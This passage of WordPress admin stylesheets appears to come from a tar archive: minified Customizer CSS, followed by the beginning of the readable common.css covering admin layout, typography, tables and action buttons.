.theme-name{background:#fff;border:none}.customize-control.customize-control-theme{box-sizing:border-box;width:25%;max-width:600px;margin:0 0 25px 25px;padding:0;clear:none}@media screen and (min-width:2101px){.customize-control.customize-control-theme{width:calc((100% - 125px)/ 5 - 1px)}}@media screen and (min-width:1601px) and (max-width:2100px){.customize-control.customize-control-theme{width:calc((100% - 100px)/ 4 - 1px)}}@media screen and (min-width:1201px) and (max-width:1600px){.customize-control.customize-control-theme{width:calc((100% - 75px)/ 3 - 1px)}}@media screen and (min-width:851px) and (max-width:1200px){.customize-control.customize-control-theme{width:calc((100% - 50px)/ 2 - 1px)}}@media screen and (max-width:850px){.customize-control.customize-control-theme{width:100%}}.wp-customizer .theme-browser .themes{padding:0 25px 25px 0;transition:.18s margin-top linear}.wp-customizer .theme-browser .theme .theme-actions{opacity:1}#customize-controls h3.theme-name{font-size:15px}#customize-controls .theme-overlay .theme-name{font-size:32px}.customize-preview-header.themes-filter-bar{position:fixed;top:0;right:300px;width:calc(100% - 300px);height:46px;background:#f0f0f1;z-index:10;padding:6px 25px;box-sizing:border-box;border-bottom:1px solid #dcdcde}.customize-preview-header.themes-filter-bar,.customize-preview-header.themes-filter-bar .search-form{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.customize-preview-header.themes-filter-bar .search-form-input{position:relative}.customize-preview-header .filter-themes-wrapper{display:grid;align-items:center;gap:10px;grid-template-columns:auto 1fr}.customize-preview-header .filter-themes-wrapper .filter-themes-count{justify-self:end}@media screen and (min-width:1670px){.customize-preview-header.themes-filter-bar{width:82%;left:0;right:initial}}.themes-filter-bar .themes-filter-container{margin:0;padding:0;display:flex;align-items:center;gap:10px}.themes-filter-bar .wp-filter-search{padding:0 30px 0 10px;max-width:100%;width:40%;min-width:300px;height:32px;min-height:32px;margin:1px 0;top:0;right:0}@media screen and (max-height:540px),screen and (max-width:1018px){.customize-preview-header.themes-filter-bar{position:relative;right:0;width:100%;margin:0 0 25px}.filter-drawer{top:46px}.wp-customizer .theme-browser .themes{padding:0 25px 25px 0;overflow:hidden}.control-panel-themes .customize-themes-full-container{margin-top:0;padding:0;height:100%;width:calc(100% - 300px)}}@media screen and (max-width:1018px){.filter-drawer .filter-group{width:calc((100% - 50px)/ 2)}}@media screen and (max-width:960px){.customize-preview-header.themes-filter-bar{height:96px}}@media screen and (max-width:900px){.themes-filter-bar .wp-filter-search{width:100%;margin:0;min-width:200px}.customize-preview-header.themes-filter-bar,.customize-preview-header.themes-filter-bar .search-form .themes-filter-bar .themes-filter-container{display:grid;gap:4px}.customize-preview-header.themes-filter-bar .search-form-input{display:flex;flex-grow:1}.filter-drawer{top:86px}.control-panel-themes .filter-themes-count{float:right}}@media screen and (max-width:792px){.filter-drawer .filter-group{width:calc(100% - 25px)}}.control-panel-themes .customize-themes-mobile-back{display:none}@media screen and (max-width:600px){.filter-drawer{top:132px}.wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes{display:block;float:left}.control-panel-themes .customize-themes-full-container{width:100%;margin:0;padding-top:46px;height:calc(100% - 46px);z-index:1;display:none}.showing-themes .control-panel-themes .customize-themes-full-container{display:block}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back{display:block;position:fixed;top:0;right:0;background:#f0f0f1;color:#3c434a;border-radius:0;box-shadow:none;border:none;height:46px;width:100%;z-index:10;text-align:right;text-shadow:none;border-bottom:1px solid #dcdcde;border-right:4px solid transparent;margin:0;padding:0;font-size:0;overflow:hidden}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before{right:0;top:0;height:46px;width:26px;display:block;line-height:2.3;padding:0 8px;border-left:1px solid #dcdcde}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus,.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover{background:#f6f7f7;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.showing-themes #customize-header-actions{display:none}#customize-controls{width:100%}}.wp-customizer .theme-overlay{display:none}.wp-customizer.modal-open .theme-overlay{position:fixed;right:0;top:0;left:0;bottom:0;z-index:109}.wp-customizer.modal-open #customize-header-actions,.wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after,.wp-customizer.modal-open .control-panel-themes .filter-themes-count{z-index:-1}.wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-overlay .theme-backdrop{background:rgba(240,240,241,.75);position:fixed;z-index:110}.wp-customizer .theme-overlay .star-rating{float:right;margin-left:8px}.wp-customizer .theme-rating .num-ratings{line-height:20px}.wp-customizer .theme-overlay .theme-wrap{right:90px;left:90px;top:45px;bottom:45px;z-index:120}.wp-customizer .theme-overlay .theme-actions{text-align:left;padding:10px 25px 5px;background:#f0f0f1;border-top:1px solid #dcdcde}.wp-customizer .theme-overlay .theme-actions .theme-install.preview{margin-right:8px}.modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-header{background:#f0f0f1}.wp-customizer .theme-overlay .theme-header .close:before,.wp-customizer .theme-overlay .theme-header button{color:#3c434a}.wp-customizer .theme-overlay .theme-header .close:focus,.wp-customizer .theme-overlay .theme-header .close:hover,.wp-customizer .theme-overlay .theme-header .left:focus,.wp-customizer .theme-overlay .theme-header .left:hover,.wp-customizer .theme-overlay .theme-header .right:focus,.wp-customizer .theme-overlay .theme-header .right:hover{background:#fff}.wp-customizer .theme-overlay .theme-header .close:focus:before,.wp-customizer .theme-overlay .theme-header .close:hover:before{color:var(--wp-admin-theme-color)}.wp-customizer .theme-overlay .theme-header button.disabled,.wp-customizer .theme-overlay .theme-header button.disabled:focus,.wp-customizer .theme-overlay .theme-header button.disabled:hover{border-bottom:none;background:0 0;color:#c3c4c7}@media (max-width:850px),(max-height:472px){.wp-customizer .theme-overlay .theme-wrap{right:0;left:0;top:0;bottom:0}.wp-customizer .theme-browser .themes{padding-left:25px}}body.cheatin{font-size:medium;height:auto;background:#fff;border:1px solid #c3c4c7;margin:50px auto 2em;padding:1em 2em;max-width:700px;min-width:0;box-shadow:0 1px 1px rgba(0,0,0,.04)}body.cheatin h1{border-bottom:1px solid #dcdcde;clear:both;color:#50575e;font-size:24px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:30px 0 0;padding:0 0 7px}body.cheatin p{font-size:14px;line-height:1.5;margin:25px 0 20px}#customize-theme-controls .add-new-menu-item,#customize-theme-controls .add-new-widget{cursor:pointer;float:left;margin:0 10px 0 0;transition:all .2s;-webkit-user-select:none;user-select:none;outline:0}.reordering .add-new-menu-item,.reordering .add-new-widget{opacity:.2;pointer-events:none;cursor:not-allowed}#available-menu-items .new-content-item .add-content:before,.add-new-menu-item:before,.add-new-widget:before{content:"\f132";content:"\f132"/'';display:inline-block;position:relative;right:-2px;top:0;font:normal 20px/1 dashicons;vertical-align:middle;transition:all .2s;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.reorder-toggle{float:left;padding:5px 8px;text-decoration:none;cursor:pointer;outline:0}.reorder,.reordering .reorder-done{display:block;padding:5px 8px}.reorder-done,.reordering .reorder{display:none}.menu-item-reorder-nav button,.widget-reorder-nav span{position:relative;overflow:hidden;float:right;display:block;width:33px;height:43px;color:#8c8f94;text-indent:-9999px;cursor:pointer;outline:0}.menu-item-reorder-nav button{width:30px;height:40px;background:0 0;border:none;box-shadow:none}.menu-item-reorder-nav button:before,.widget-reorder-nav span:before{display:inline-block;position:absolute;top:0;left:0;width:100%;height:100%;font:normal 20px/43px dashicons;text-align:center;text-indent:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-reorder-nav button:focus,.menu-item-reorder-nav button:hover,.widget-reorder-nav span:focus,.widget-reorder-nav span:hover{color:#1d2327;background:#f0f0f1}.menus-move-down:before,.move-widget-down:before{content:"\f347";content:"\f347"/''}.menus-move-up:before,.move-widget-up:before{content:"\f343";content:"\f343"/''}#customize-theme-controls .first-widget .move-widget-up,#customize-theme-controls .last-widget .move-widget-down,.move-down-disabled .menus-move-down,.move-left-disabled .menus-move-left,.move-right-disabled .menus-move-right,.move-up-disabled .menus-move-up{color:#dcdcde;background-color:#fff;cursor:default;pointer-events:none}.wp-full-overlay-main{left:auto;width:100%}.add-menu-toggle.open,.add-menu-toggle.open:hover,.adding-menu-items .add-new-menu-item,.adding-menu-items .add-new-menu-item:hover,body.adding-widget .add-new-widget,body.adding-widget .add-new-widget:hover{background:#f0f0f1;border-color:#8c8f94;color:#2c3338;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}#accordion-section-add_menu .add-new-menu-item.open:before,.adding-menu-items .add-new-menu-item:before,body.adding-widget .add-new-widget:before{transform:rotate(-45deg)}#available-menu-items,#available-widgets{position:absolute;top:0;bottom:0;right:-301px;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:300px;margin:0;z-index:4;background:#f0f0f1;transition:right .18s;border-left:1px solid #dcdcde}#available-menu-items .accordion-section-title,#available-widgets .accordion-section-title{z-index:2}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}#available-menu-items .customize-section-title button,#available-widgets .customize-section-title button{display:none}#available-widgets-list{top:82px;position:absolute;overflow:auto;bottom:0;width:100%;border-top:1px solid #dcdcde}.no-widgets-found #available-widgets-list{border-top:none}#available-widgets-filter{position:fixed;top:0;z-index:1;width:300px;background:#f0f0f1}#available-menu-items-search .accordion-section-title,#available-widgets-filter{padding:13px 15px;box-sizing:border-box}#available-menu-items-search input,#available-widgets-filter input{width:100%;min-height:40px;margin:1px 0;padding:0 30px}#available-menu-items-search input::-ms-clear,#available-widgets-filter input::-ms-clear{display:none}#available-menu-items-search .search-icon,#available-widgets-filter .search-icon{display:block;position:absolute;bottom:19px;right:16px;width:30px;height:30px;line-height:2.1;text-align:center;color:#646970}#available-menu-items-search .accordion-section-title .clear-results,#available-widgets-filter .clear-results{position:absolute;top:40px;left:16px;width:30px;height:30px;padding:0;border:0;cursor:pointer;background:0 0;color:#d63638;text-decoration:none;outline:0}#available-menu-items-search .clear-results,#available-menu-items-search.loading .clear-results.is-visible,#available-widgets-filter .clear-results{display:none}#available-menu-items-search .clear-results.is-visible,#available-widgets-filter .clear-results.is-visible{display:block}#available-menu-items-search .clear-results:before,#available-widgets-filter .clear-results:before{content:"\f335";content:"\f335"/'';font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-menu-items-search .clear-results:focus,#available-menu-items-search .clear-results:hover,#available-widgets-filter .clear-results:focus,#available-widgets-filter .clear-results:hover{color:#d63638}#available-menu-items-search .clear-results:focus,#available-widgets-filter .clear-results:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#available-menu-items-search .search-icon:after,#available-widgets-filter .search-icon:after,.themes-filter-bar .search-icon:after{content:"\f179";font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .search-icon{position:absolute;top:2px;right:2px;z-index:1;color:#646970;height:30px;width:30px;line-height:2;text-align:center}.no-widgets-found-message{display:none;margin:0;padding:0 15px;line-height:inherit}.no-widgets-found .no-widgets-found-message{display:block}#available-menu-items .item-top,#available-menu-items .item-top:hover,#available-widgets .widget-top,#available-widgets .widget-top:hover{border:none;background:0 0;box-shadow:none}#available-menu-items .item-tpl,#available-widgets .widget-tpl{position:relative;padding:15px 60px 15px 15px;background:#fff;border-bottom:1px solid #dcdcde;border-right:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;cursor:pointer;display:none}#available-menu-items .item,#available-widgets .widget{position:static}.customize-controls-preview-toggle{display:none}@media only screen and (max-width:782px){.wp-customizer .theme:not(.active):focus .theme-actions,.wp-customizer .theme:not(.active):hover .theme-actions{display:block}.wp-customizer .theme-browser .theme.active .theme-name span{display:inline}.customize-control-header button.random .dice{margin-top:0}.customize-control-checkbox .customize-inside-control-row,.customize-control-nav_menu_auto_add .customize-inside-control-row,.customize-control-radio .customize-inside-control-row{margin-right:32px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-right:-32px}.customize-control input[type=checkbox]+label+br,.customize-control input[type=radio]+label+br{line-height:2.5}.customize-control .date-time-fields select{height:39px}.date-time-fields .date-input.month{width:79px}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:55px}.date-time-fields .date-input.year{width:80px}#customize-control-changeset_preview_link a{bottom:16px}.media-widget-control .media-widget-buttons .button.change-media,.media-widget-control .media-widget-buttons .button.edit-media,.media-widget-control .media-widget-buttons .button.select-media{margin-top:12px}.customize-preview-header.themes-filter-bar .search-icon{top:6px}}@media screen and (max-width:1200px){.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main{right:67%}}@media screen and (max-width:640px){.wp-full-overlay.collapsed #customize-controls{margin-right:0}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{bottom:0}.customize-controls-preview-toggle{display:block;position:absolute;top:0;right:48px;line-height:2.6;font-size:14px;padding:0 12px 4px;margin:0;height:45px;background:#f0f0f1;border:0;border-left:1px solid #dcdcde;border-top:4px solid #f0f0f1;color:#50575e;cursor:pointer;transition:color .1s ease-in-out,background .1s ease-in-out}#customize-footer-actions,.customize-controls-preview-toggle .controls,.preview-only .customize-controls-preview-toggle .preview,.preview-only .wp-full-overlay-sidebar-content{display:none}.preview-only #customize-save-button-wrapper{margin-top:-46px}.customize-controls-preview-toggle .controls:before,.customize-controls-preview-toggle .preview:before{font:normal 20px/1 dashicons;content:"\f177";content:"\f177"/'';position:relative;top:4px;margin-left:6px}.customize-controls-preview-toggle .controls:before{content:"\f540";content:"\f540"/''}.preview-only #customize-controls{height:45px}.preview-only #customize-preview,.preview-only .customize-controls-preview-toggle .controls{display:block}.wp-core-ui.wp-customizer .button{padding:0 14px;line-height:2.14285714;font-size:14px;vertical-align:middle}.customize-control .attachment-media-view .upload-button{text-align:center}#customize-control-changeset_status .customize-inside-control-row{padding-top:15px}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{width:100%}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{border:0;clip-path:none;height:inherit;margin:0;overflow:hidden;padding:0;width:auto;position:static}#available-menu-items .customize-section-title button,#available-widgets .customize-section-title button{display:block}#available-menu-items .customize-section-back,#available-widgets .customize-section-back{height:69px}#available-menu-items .customize-section-title h3,#available-widgets .customize-section-title h3{font-size:20px;font-weight:200;padding:9px 14px 12px 10px;margin:0;line-height:24px;color:#50575e;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-menu-items .customize-section-title .customize-action,#available-widgets .customize-section-title .customize-action{font-size:13px;display:block;font-weight:400;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-widgets-filter{position:relative;width:100%;height:auto}#available-widgets-list{top:152px}#available-menu-items-search .clear-results{top:40px;left:16px}.reorder,.reordering .reorder-done{padding:8px}}@media screen and (max-width:600px){.wp-full-overlay.expanded{margin-right:0}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{top:46px;z-index:10}body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content{right:-100%}body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{right:0}} css/common.css 0000644 00000235702 15233246127 0007354 0 ustar 00 /* 2 column liquid layout */ #wpwrap { height: auto; min-height: 100%; width: 100%; position: relative; -webkit-font-smoothing: subpixel-antialiased; } #wpcontent { height: 100%; padding-left: 20px; } #wpcontent, #wpfooter { margin-left: 160px; } .folded #wpcontent, .folded #wpfooter { margin-left: 36px; } #wpbody-content { padding-bottom: 65px; float: left; width: 100%; overflow: visible; } /* inner 2 column liquid layout */ .inner-sidebar { float: right; clear: right; display: none; width: 281px; position: relative; } .columns-2 .inner-sidebar { margin-right: auto; width: 286px; display: block; } .inner-sidebar #side-sortables, .columns-2 .inner-sidebar #side-sortables { min-height: 300px; width: 280px; padding: 0; } .has-right-sidebar .inner-sidebar { display: block; } .has-right-sidebar #post-body { float: left; clear: left; width: 100%; margin-right: -2000px; } .has-right-sidebar #post-body-content { margin-right: 300px; float: none; width: auto; } /* 2 columns main area */ #col-left { float: left; width: 35%; } #col-right { float: right; width: 65%; } #col-left .col-wrap { padding: 0 6px 0 0; } #col-right .col-wrap { padding: 0 0 0 6px; } /* utility classes */ .alignleft { float: left; } .alignright { float: right; } .textleft { text-align: left; } .textright { text-align: right; } .clear { clear: both; } /* modern clearfix */ .wp-clearfix:after { content: ""; display: table; clear: both; } /* Hide visually but not from screen readers */ .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } .button .screen-reader-text { height: auto; /* Fixes a Safari+VoiceOver bug, see ticket #42006 */ } .screen-reader-text + .dashicons-external { margin-top: -1px; margin-left: 2px; text-decoration: none; } .screen-reader-shortcut { position: absolute; top: -1000em; left: 6px; height: auto; width: auto; display: block; font-size: 14px; font-weight: 600; padding: 15px 23px 14px; /* Background and color set to prevent false positives in automated accessibility tests. */ background: #ffffff; color: var(--wp-admin-theme-color, #3858e9); z-index: 100000; line-height: normal; } .screen-reader-shortcut:focus { top: -25px; /* Overrides a:focus in the admin. See ticket #56789. */ color: var(--wp-admin-theme-color, #3858e9); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); text-decoration: none; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .hidden, .js .closed .inside, .js .hide-if-js, .no-js .hide-if-no-js, .js.wp-core-ui .hide-if-js, .js .wp-core-ui .hide-if-js, .no-js.wp-core-ui .hide-if-no-js, .no-js .wp-core-ui .hide-if-no-js { display: none; } /* @todo: Take a second look. Large chunks of shared color, from the colors.css merge */ .widget-top, .menu-item-handle, .widget-inside, #menu-settings-column .accordion-container, #menu-management .menu-edit, .manage-menus, table.widefat, .stuffbox, p.popular-tags, .widgets-holder-wrap, .wp-editor-container, .popular-tags, .feature-filter, .comment-ays { border: 1px solid #c3c4c7; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } table.widefat, .wp-editor-container, .stuffbox, p.popular-tags, .widgets-holder-wrap, .popular-tags, .feature-filter, .comment-ays { background: #fff; } /* general */ html, body { height: 100%; margin: 0; padding: 0; } body { background: #f0f0f1; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 1.4em; min-width: 600px; } body.iframe { min-width: 0; padding-top: 1px; } body.modal-open { overflow: hidden; } body.mobile.modal-open #wpwrap { overflow: hidden; position: fixed; height: 100%; } iframe, img { border: 0; } td { font-family: inherit; font-size: inherit; font-weight: inherit; line-height: inherit; } /* Any change to the default link style must be applied to button-link too. */ a { color: #2271b1; transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } a, div { outline: 0; } a:hover, a:active { color: #135e96; } a:focus, a:focus .media-icon img, a:focus .plugin-icon, .wp-person a:focus .gravatar { color: #043959; border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #adminmenu a:focus { box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; outline-offset: -1px; } .screen-reader-text:focus { box-shadow: none; outline: none; } blockquote, q { quotes: none; } blockquote:before, blockquote:after, q:before, q:after { content: ""; content: none; } p, .wp-die-message { font-size: 13px; line-height: 1.5; margin: 1em 0; } blockquote { margin: 1em; } li, dd { margin-bottom: 6px; } h1, h2, h3, h4, h5, h6 { display: block; font-weight: 600; } h1 { color: #1d2327; font-size: 2em; margin: .67em 0; } h2, h3 { color: #1d2327; font-size: 1.3em; margin: 1em 0; } .update-core-php h2 { margin-top: 4em; } .update-php h2, .update-messages h2, h4 { font-size: 1em; margin: 1.33em 0; } h5 { font-size: 0.83em; margin: 1.67em 0; } h6 { font-size: 0.67em; margin: 2.33em 0; } ul, ol { padding: 0; } ul { list-style: none; } ol { list-style-type: decimal; margin-left: 2em; } ul.ul-disc { list-style: disc outside; } ul.ul-square { list-style: square outside; } ol.ol-decimal { list-style: decimal outside; } ul.ul-disc, ul.ul-square, ol.ol-decimal { margin-left: 1.8em; } ul.ul-disc > li, ul.ul-square > li, ol.ol-decimal > li { margin: 0 0 0.5em; } /* rtl:ignore */ .ltr { direction: ltr; } /* rtl:ignore */ .code, code { font-family: Consolas, Monaco, monospace; direction: ltr; unicode-bidi: embed; } kbd, code { padding: 3px 5px 2px; margin: 0 1px; background: #f0f0f1; background: rgba(0, 0, 0, 0.07); font-size: 13px; } .subsubsub { list-style: none; margin: 8px 0 0; padding: 0; font-size: 13px; float: left; color: #646970; } .subsubsub a { line-height: 2; padding: .2em; text-decoration: none; } .subsubsub a .count, .subsubsub a.current .count { color: #50575e; /* #f1f1f1 background */ font-weight: 400; } .subsubsub a.current { font-weight: 600; border: none; } .subsubsub li { display: inline-block; margin: 0; padding: 0; white-space: nowrap; } /* .widefat - main style for tables */ .widefat { border-spacing: 0; width: 100%; clear: both; margin: 0; } .widefat * { word-wrap: break-word; } .widefat a, .widefat button.button-link { text-decoration: none; } .widefat td, .widefat th { padding: 8px 10px; } .widefat thead th, .widefat thead td { border-bottom: 1px solid #c3c4c7; } .widefat tfoot th, .widefat tfoot td { border-top: 1px solid #c3c4c7; border-bottom: none; } .widefat .no-items td { border-bottom-width: 0; } .widefat td { vertical-align: top; } .widefat td, .widefat td p, .widefat td ol, .widefat td ul { font-size: 13px; line-height: 1.5em; } .widefat th, .widefat thead td, .widefat tfoot td { text-align: left; line-height: 1.3em; font-size: 14px; } .widefat th input, .updates-table td input, .widefat thead td input, .widefat tfoot td input { margin: 0 0 0 8px; padding: 0; vertical-align: text-top; } .widefat .check-column { width: 2.2em; padding: 6px 0 25px; vertical-align: top; } .widefat tbody th.check-column { padding: 9px 0 22px; } .widefat thead td.check-column, .widefat tbody th.check-column, .updates-table tbody td.check-column, .widefat tfoot td.check-column { padding: 11px 0 0 3px; } .widefat thead td.check-column, .widefat tfoot td.check-column { padding-top: 4px; vertical-align: middle; } .update-php div.updated, .update-php div.error { margin-left: 0; } .js-update-details-toggle .dashicons { text-decoration: none; } .js-update-details-toggle[aria-expanded="true"] .dashicons::before { content: "\f142"; content: "\f142" / ''; } .no-js .widefat thead .check-column input, .no-js .widefat tfoot .check-column input { display: none; } .widefat .num, .column-comments, .column-links, .column-posts { text-align: center; } .widefat th#comments { vertical-align: middle; } .wrap { margin: 10px 20px 0 2px; } .wrap > h2:first-child, /* Back-compat for pre-4.4 */ .wrap [class$="icon32"] + h2, /* Back-compat for pre-4.4 */ .postbox .inside h2, /* Back-compat for pre-4.4 */ .wrap h1 { font-size: 23px; font-weight: 400; margin: 0; padding: 9px 0 4px; line-height: 1.3; } .wrap h1.wp-heading-inline { display: inline-block; margin-right: 5px; } .wp-header-end { visibility: hidden; margin: -2px 0 0; } .subtitle { margin: 0; padding-left: 25px; color: #50575e; font-size: 14px; font-weight: 400; line-height: 1; } .subtitle strong { word-break: break-all; } .wrap .add-new-h2, /* deprecated */ .wrap .add-new-h2:active, /* deprecated */ .wrap .page-title-action, .wrap .page-title-action:active { display: inline-block; position: relative; box-sizing: border-box; cursor: pointer; white-space: nowrap; text-decoration: none; text-shadow: none; top: -3px; margin-left: 4px; border: 1px solid #2271b1; border-radius: 2px; background: transparent; font-size: 13px; font-weight: 500; min-height: 32px; line-height: 2.30769231; /* 30px for 32px height */ color: #2271b1; /* use the standard color used for buttons */ padding: 0 12px; -webkit-appearance: none; } .wrap .wp-heading-inline + .page-title-action { margin-left: 0; } .wrap .add-new-h2:hover, /* deprecated */ .wrap .page-title-action:hover { border-color: #0a4b78; color: #0a4b78; } /* lower specificity: color needs to be overridden by :hover and :active */ .page-title-action:focus { color: #0a4b78; } /* Dashicon for language options on General Settings and Profile screens */ .form-table th label[for="locale"] .dashicons, .form-table th label[for="WPLANG"] .dashicons { margin-left: 5px; } .wrap .page-title-action:focus { border-color: #3582c4; box-shadow: 0 0 0 1px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wrap h1.long-header { padding-right: 0; } .wp-dialog { background-color: #fff; } .widgets-chooser ul, #widgets-left .widget-in-question .widget-top, #available-widgets .widget-top:hover, div#widgets-right .widget-top:hover, #widgets-left .widget-top:hover { border-color: #8c8f94; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1); } .sorthelper { background-color: #c5d9ed; } .ac_match, .subsubsub a.current { color: #000; } .striped > tbody > :nth-child(odd), ul.striped > :nth-child(odd), .alternate { background-color: #f6f7f7; } .bar { background-color: #f0f0f1; border-right-color: var(--wp-admin-theme-color); } /* Helper classes for plugins to leverage the active WordPress color scheme */ .highlight { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08); color: #3c434a; } .wp-ui-primary { color: #fff; background-color: #2c3338; } .wp-ui-text-primary { color: #2c3338; } .wp-ui-highlight { color: #fff; background-color: #2271b1; } .wp-ui-text-highlight { color: #2271b1; } .wp-ui-notification { color: #fff; background-color: #d63638; } .wp-ui-text-notification { color: #d63638; } .wp-ui-text-icon { color: #8c8f94; /* same as new icons */ } /* For emoji replacement images */ img.emoji { display: inline !important; border: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; box-shadow: none !important; } /*------------------------------------------------------------------------------ 1.0 - Text Styles ------------------------------------------------------------------------------*/ .widget .widget-top, .postbox .hndle, .stuffbox .hndle, .control-section .accordion-section-title, .sidebar-name, #nav-menu-header, #nav-menu-footer, .menu-item-handle, .checkbox, .side-info, #your-profile #rich_editing, .widefat thead th, .widefat thead td, .widefat tfoot th, .widefat tfoot td { line-height: 1.4em; } .widget .widget-top, .menu-item-handle { background: #f6f7f7; color: #1d2327; } .stuffbox .hndle { border-bottom: 1px solid #c3c4c7; } .quicktags { background-color: #c3c4c7; color: #000; font-size: 12px; } .icon32 { display: none; } /* @todo can we combine these into a class or use an existing dashicon one? */ .welcome-panel .welcome-panel-close:before, .tagchecklist .ntdelbutton .remove-tag-icon:before, #bulk-titles .ntdelbutton:before, .notice-dismiss:before { background: none; color: #1e1e1e; content: "\f335"; content: "\f335" / ''; display: block; font: normal 20px/1 dashicons; height: 1em; text-align: center; width: 1em; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .welcome-panel .welcome-panel-close:before { margin: 0; } .tagchecklist .ntdelbutton .remove-tag-icon:before { margin-left: 2px; border-radius: 50%; color: var(--wp-admin-theme-color, #3858e9); /* vertically center the icon cross browsers */ line-height: 1.1; } .tagchecklist .ntdelbutton:focus { outline: 0; } .tagchecklist .ntdelbutton:hover .remove-tag-icon:before, .tagchecklist .ntdelbutton:focus .remove-tag-icon:before, #bulk-titles .ntdelbutton:hover:before, #bulk-titles .ntdelbutton:focus:before { color: #d63638; } .tagchecklist .ntdelbutton:focus .remove-tag-icon:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .key-labels label { line-height: 24px; } strong, b { font-weight: 600; } .pre { /* https://developer.mozilla.org/en-US/docs/CSS/white-space */ white-space: pre-wrap; /* css-3 */ word-wrap: break-word; /* IE 5.5 - 7 */ } .howto { color: #646970; display: block; } p.install-help { margin: 8px 0; font-style: italic; } .no-break { white-space: nowrap; } hr { border: 0; border-top: 1px solid #dcdcde; border-bottom: 1px solid #f6f7f7; } .row-actions span.delete a, .row-actions span.trash a, .row-actions span.spam a, .plugins a.delete, #all-plugins-table .plugins a.delete, #search-plugins-table .plugins a.delete, .submitbox .submitdelete, #media-items a.delete, #media-items a.delete-permanently, #nav-menu-footer .menu-delete, #delete-link a.delete, a#remove-post-thumbnail, .privacy_requests .remove-personal-data .remove-personal-data-handle { color: #b32d2e; } abbr.required, span.required, .file-error, .row-actions .delete a:hover, .row-actions .trash a:hover, .row-actions .spam a:hover, .plugins a.delete:hover, #all-plugins-table .plugins a.delete:hover, #search-plugins-table .plugins a.delete:hover, .submitbox .submitdelete:hover, #media-items a.delete:hover, #media-items a.delete-permanently:hover, #nav-menu-footer .menu-delete:hover, #delete-link a.delete:hover, a#remove-post-thumbnail:hover, .privacy_requests .remove-personal-data .remove-personal-data-handle:hover { color: #b32d2e; border: none; } .application-password-display .success { color: #007017; margin-left: 0.5rem; } /*------------------------------------------------------------------------------ 3.0 - Actions ------------------------------------------------------------------------------*/ #major-publishing-actions { padding: 10px; clear: both; border-top: 1px solid #dcdcde; background: #f6f7f7; display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; } #delete-action { line-height: 2.30769231; /* 30px */ 